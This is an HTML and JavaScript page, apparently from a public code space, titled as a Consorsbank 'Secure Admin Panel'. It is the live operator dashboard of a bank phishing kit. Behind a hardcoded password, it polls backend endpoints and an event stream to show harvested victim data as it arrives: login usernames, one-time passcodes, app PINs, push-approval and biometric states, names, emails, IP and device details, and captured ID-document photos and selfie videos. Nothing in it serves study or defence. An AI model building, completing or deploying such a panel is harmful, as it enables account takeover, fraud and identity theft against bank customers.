Spaces:
Paused
Paused
File size: 14,513 Bytes
9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 13e5b72 9d38145 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 8852d8c 92ebb59 9d38145 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="theme-color" content="#0A1520">
<title data-i18n="page.title.feed">Secure Admin Panel - Consorsbank</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>body{font-family:sans-serif}</style>
</head>
<body class="bg-slate-950 text-slate-100 min-h-screen">
<!-- =====================================================================
§5 — password gate
===================================================================== -->
<div id="login-screen" class="min-h-screen flex items-center justify-center p-6">
<div class="w-full max-w-sm bg-slate-900 border border-slate-800 rounded-xl p-6 shadow-xl">
<div class="flex items-center justify-center mb-4">
<span class="text-lg font-semibold tracking-widest uppercase text-sky-400">Consorsbank</span>
</div>
<h1 class="text-center text-base font-semibold text-slate-200 mb-1" data-i18n="feed.title">Secure Admin Panel</h1>
<p class="text-center text-xs text-slate-500 mb-5">Client Feed</p>
<input id="admin-password" type="password" placeholder="Password"
autocomplete="current-password" spellcheck="false"
class="w-full px-3 py-2 rounded-lg bg-slate-800 border border-slate-700 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-sky-500 mb-3">
<button type="button" id="auth-btn" onclick="authenticate()"
class="w-full px-3 py-2 rounded-lg bg-sky-500 hover:bg-sky-400 text-white font-medium transition">
Enter
</button>
<p id="error-msg" class="hidden mt-3 text-center text-xs text-rose-400" data-i18n="feed.invalid">Invalid password</p>
</div>
</div>
<!-- =====================================================================
§5 — client feed panel
===================================================================== -->
<div id="admin-panel" class="hidden max-w-7xl mx-auto p-6">
<header class="flex items-center justify-between mb-5 flex-wrap gap-3">
<div class="flex items-center gap-3">
<h1 class="text-xl font-semibold" data-i18n="feed.title">Live Client Feed</h1>
<span class="text-xs text-slate-500" id="row-count">0 rows</span>
</div>
<div class="flex items-center gap-4 text-xs text-slate-500">
<!-- language switcher -->
<select id="feed-lang" class="bg-slate-800 border border-slate-700 rounded-lg px-2 py-1 text-slate-200">
<option value="de">DE</option>
<option value="en">EN</option>
<option value="ru">RU</option>
</select>
<span id="last-refresh">--:--:--</span>
<button type="button" onclick="logout()" class="px-3 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300" data-i18n="admin.logout">Logout</button>
</div>
</header>
<!-- captures thumbnail grid -->
<div class="mb-5" id="captures-section">
<h2 class="text-md font-semibold text-slate-300 mb-2" data-i18n="doc.type">Documents</h2>
<div id="captures-feed" class="flex flex-wrap gap-2">Loading…</div>
</div>
<div class="overflow-x-auto rounded-xl border border-slate-800">
<table class="w-full text-sm">
<thead class="bg-slate-900 text-slate-400 text-left text-xs uppercase tracking-wide">
<tr>
<th class="px-3 py-2 font-semibold">Time</th>
<th class="px-3 py-2 font-semibold">Client ID</th>
<th class="px-3 py-2 font-semibold">Data Type</th>
<th class="px-3 py-2 font-semibold">Username/Detail</th>
<th class="px-3 py-2 font-semibold">Docs</th>
</tr>
</thead>
<tbody id="feed-rows" class="divide-y divide-slate-800">
<tr><td colspan="5" class="px-3 py-6 text-center text-slate-500" data-i18n="feed.no.rows">Waiting for submissions…</td></tr>
</tbody>
</table>
</div>
</div>
<script src="assets/panel-i18n.js?v=5"></script>
<script>
(function () {
'use strict';
var I = window.OFBI18N || { t: function (k) { return k; }, apply: function () {}, set: function () {} };
var AUTH_KEY = 'feed_auth';
var REFRESH_MS = 5000;
function $(id) { return document.getElementById(id); }
function esc(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
.replace(/"/g, '"').replace(/'/g, ''');
}
function pad2(n) { return (n < 10 ? '0' : '') + n; }
function stamp() {
var d = new Date();
return pad2(d.getHours()) + ':' + pad2(d.getMinutes()) + ':' + pad2(d.getSeconds());
}
/* ---- gate ------------------------------------------------------------ */
window.authenticate = function () {
var input = $('admin-password');
var val = input ? input.value : '';
if (val === 'consorsfeed@2026') {
try { sessionStorage.setItem(AUTH_KEY, '1'); } catch (e) { /* ignore */ }
reveal();
} else {
var err = $('error-msg');
if (err) { err.classList.remove('hidden'); }
}
};
window.logout = function () {
try { sessionStorage.removeItem(AUTH_KEY); } catch (e) { /* ignore */ }
window.location.reload();
};
var refreshTimer = null;
function reveal() {
var login = $('login-screen');
var panel = $('admin-panel');
if (login) { login.classList.add('hidden'); }
if (panel) { panel.classList.remove('hidden'); }
I.apply(panel);
var sel = $('feed-lang');
if (sel) { sel.value = I.lang; }
langSetup();
if (!refreshTimer) {
load();
refreshTimer = setInterval(load, REFRESH_MS);
}
}
var pw = $('admin-password');
if (pw) {
pw.addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') { window.authenticate(); }
});
}
/* ---- language switcher ------------------------------------------------ */
function langSetup() {
var sel = $('feed-lang');
if (!sel) { return; }
sel.addEventListener('change', function () {
I.set(this.value);
I.apply($('admin-panel'));
renderAll();
});
}
/* ---- detail rendering ------------------------------------------------ */
function pushStateLabel(s) {
switch (String(s)) {
case 'sent': return I.t('push.sent');
case 'opened': return I.t('push.opened');
case 'confirmed': return I.t('push.confirmed');
case 'denied': return I.t('push.denied');
case 'expired': return I.t('push.expired');
default: return String(s || '');
}
}
function bioLabel(b) {
var v = String(b || '');
if (v === 'faceid' || v === 'face_id' || v === 'face') { return 'Face ID'; }
if (v === 'fingerprint' || v === 'finger') { return 'Fingerabdruck'; }
if (v === 'yes' || v === 'true' || v === '1') { return 'Biometrie'; }
return '';
}
function detailFor(rec, type) {
var t = String(type || '').toLowerCase();
if (t.indexOf('push') !== -1) {
var parts = [pushStateLabel(rec.push_state)];
if (rec.push_pin) { parts.push('AppPIN ' + rec.push_pin); }
var bio = bioLabel(rec.push_bio);
if (bio) { parts.push(bio); }
return parts.join(' · ');
}
if (t.indexOf('otp') !== -1) {
return rec.otp ? ('OTP ' + rec.otp) : '—';
}
if (t.indexOf('login') !== -1) {
return rec.username ? String(rec.username) : '—';
}
if (t.indexOf('identity') !== -1) {
var who = rec.full_name || rec.email || '—';
var tail = rec.email && rec.full_name ? ' · ' + rec.email : '';
var ok = rec.valid === true ? ' ✓' : (rec.valid === false ? ' ✗' : '');
return who + tail + ok;
}
var keys = ['full_name', 'email', 'username', 'otp', 'push_state', 'value'];
for (var i = 0; i < keys.length; i++) {
if (rec[keys[i]]) { return String(rec[keys[i]]); }
}
return '—';
}
/* ---- data merge ----------------------------------------------------- */
function identityRows(arr) {
return (arr || []).map(function (r) {
return {
time: r.timestamp || '',
client_id: r.client_id || '',
type: 'Identity',
detail: detailFor(r, 'identity'),
ip: r.ip || '',
device: r.device || '',
bot: r.bot || '',
doc_type: r.doc_type || ''
};
});
}
function submissionRows(arr) {
return (arr || []).map(function (r) {
var type = r.data_type || 'Event';
return {
time: r.timestamp || '',
client_id: r.client_id || '',
type: type,
detail: detailFor(r, type),
ip: r.ip || '',
device: r.device || '',
bot: r.bot || '',
doc_type: ''
};
});
}
function badge(type) {
var t = String(type || '').toLowerCase();
var cls = 'bg-slate-700 text-slate-200';
if (t.indexOf('login') !== -1) { cls = 'bg-sky-900 text-sky-300'; }
else if (t.indexOf('otp') !== -1) { cls = 'bg-amber-900 text-amber-300'; }
else if (t.indexOf('push') !== -1) { cls = 'bg-fuchsia-900 text-fuchsia-300'; }
else if (t.indexOf('identity') !== -1) { cls = 'bg-emerald-900 text-emerald-300'; }
return '<span class="inline-block px-2 py-0.5 rounded-full text-[11px] font-medium ' + cls + '">' + esc(type) + '</span>';
}
function sortRows(rows) {
return rows.sort(function (a, b) {
var ta = Date.parse(String(a.time).replace(' ', 'T'));
var tb = Date.parse(String(b.time).replace(' ', 'T'));
if (isNaN(ta)) { ta = 0; }
if (isNaN(tb)) { tb = 0; }
return tb - ta;
});
}
var lastCaptures = [];
function renderAll() {
/* table */
var jobs = [
fetch('clients.php', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.json(); })
.catch(function () { return []; }),
fetch('submissions.json', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.ok ? r.json() : []; })
.catch(function () { return []; }),
fetch('captures.php', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.ok ? r.json() : []; })
.catch(function () { return []; })
];
Promise.all(jobs).then(function (res) {
var clients = Array.isArray(res[0]) ? res[0] : [];
var subs = Array.isArray(res[1]) ? res[1] : [];
var captures = Array.isArray(res[2]) ? res[2] : [];
var rows = identityRows(clients).concat(submissionRows(subs));
sortRows(rows);
renderTable(rows);
renderCaptures(captures);
var count = $('row-count');
if (count) { count.textContent = rows.length + (rows.length === 1 ? ' row' : ' rows'); }
var lr = $('last-refresh');
if (lr) { lr.textContent = stamp(); }
}).catch(function () { /* keep last render */ });
}
function renderTable(rows) {
var body = $('feed-rows');
if (!body) { return; }
if (!rows.length) {
body.innerHTML = '<tr><td colspan="5" class="px-3 py-6 text-center text-slate-500">' + I.t('feed.no.rows') + '</td></tr>';
return;
}
var html = '';
rows.forEach(function (r) {
html += '<tr class="hover:bg-slate-900/60">'
+ '<td class="px-3 py-2 text-slate-400 whitespace-nowrap">' + esc(r.time) + '</td>'
+ '<td class="px-3 py-2 font-mono text-xs text-slate-200">' + esc(r.client_id) + '</td>'
+ '<td class="px-3 py-2">' + badge(r.type) + '</td>'
+ '<td class="px-3 py-2 text-slate-200 break-all">' + esc(r.detail) + '</td>'
+ '<td class="px-3 py-2 text-slate-400">' + (r.doc_type ? (r.doc_type === 'pa' ? 'PA' : 'PP') : '—') + '</td>'
+ '</tr>';
});
body.innerHTML = html;
}
function renderCaptures(captures) {
var el = $('captures-feed');
if (!el) { return; }
lastCaptures = captures;
if (!captures.length) {
el.innerHTML = '<span class="text-slate-600 text-xs">—</span>';
return;
}
var recent = captures.slice(-12).reverse();
var h = '';
recent.forEach(function (c) {
var label = c.kind === 'id_front' ? 'Front' : (c.kind === 'id_back' ? 'Back' : 'Selfie');
var file = (c.files && c.files.length) ? c.files[0] : '';
var isVideo = /\.webm$|\.mp4$/i.test(file || '');
var href = (c.cloud && c.cloud.length) ? c.cloud[0] : file;
if (!href) { return; }
var inner = isVideo
? '<span class="text-[10px] text-purple-300">▶ ' + label + '</span>'
: '<img src="' + esc(file) + '" alt="' + esc(label) + '" loading="lazy" class="w-full h-full object-cover">';
h += '<a href="' + esc(href) + '" target="_blank" title="' + esc((c.client_id || '') + ' · ' + (c.ts || '')) + '"'
+ ' class="relative w-24 h-16 rounded-lg overflow-hidden border border-slate-700 hover:border-sky-500 block bg-slate-900">'
+ inner
+ '<span class="absolute inset-x-0 bottom-0 text-[9px] text-center text-slate-200 bg-black/60">' + esc(label) + '</span>'
+ '</a>';
});
el.innerHTML = h || '<span class="text-slate-600 text-xs">—</span>';
}
/* ---- SSE real-time ------------------------------------------------ */
var sseSource = null;
var sseReconnectTimer = null;
function sseConnect() {
if (sseSource) { try { sseSource.close(); } catch (e) { /* ignore */ } }
try {
sseSource = new EventSource('sse.php');
} catch (e) {
scheduleSseReconnect();
return;
}
sseSource.addEventListener('updates', function (ev) {
try {
var msg = JSON.parse(ev.data);
if (msg.type === 'timeout') { return; }
if (Array.isArray(msg.captures)) {
renderCaptures(msg.captures);
}
renderAll();
} catch (e) { /* ignore */ }
});
sseSource.onerror = function () {
if (sseSource) { try { sseSource.close(); } catch (e) { /* ignore */ } sseSource = null; }
scheduleSseReconnect();
};
sseSource.onopen = function () {
if (sseReconnectTimer) { clearTimeout(sseReconnectTimer); sseReconnectTimer = null; }
};
}
function scheduleSseReconnect() {
if (sseReconnectTimer) { return; }
sseReconnectTimer = setTimeout(function () { sseReconnectTimer = null; sseConnect(); }, 3000);
}
function load() {
renderAll();
sseConnect();
}
/* ---- boot ----------------------------------------------------------- */
try {
if (sessionStorage.getItem(AUTH_KEY) === '1') { reveal(); }
} catch (e) { /* ignore */ }
})();
</script>
</body>
</html>
|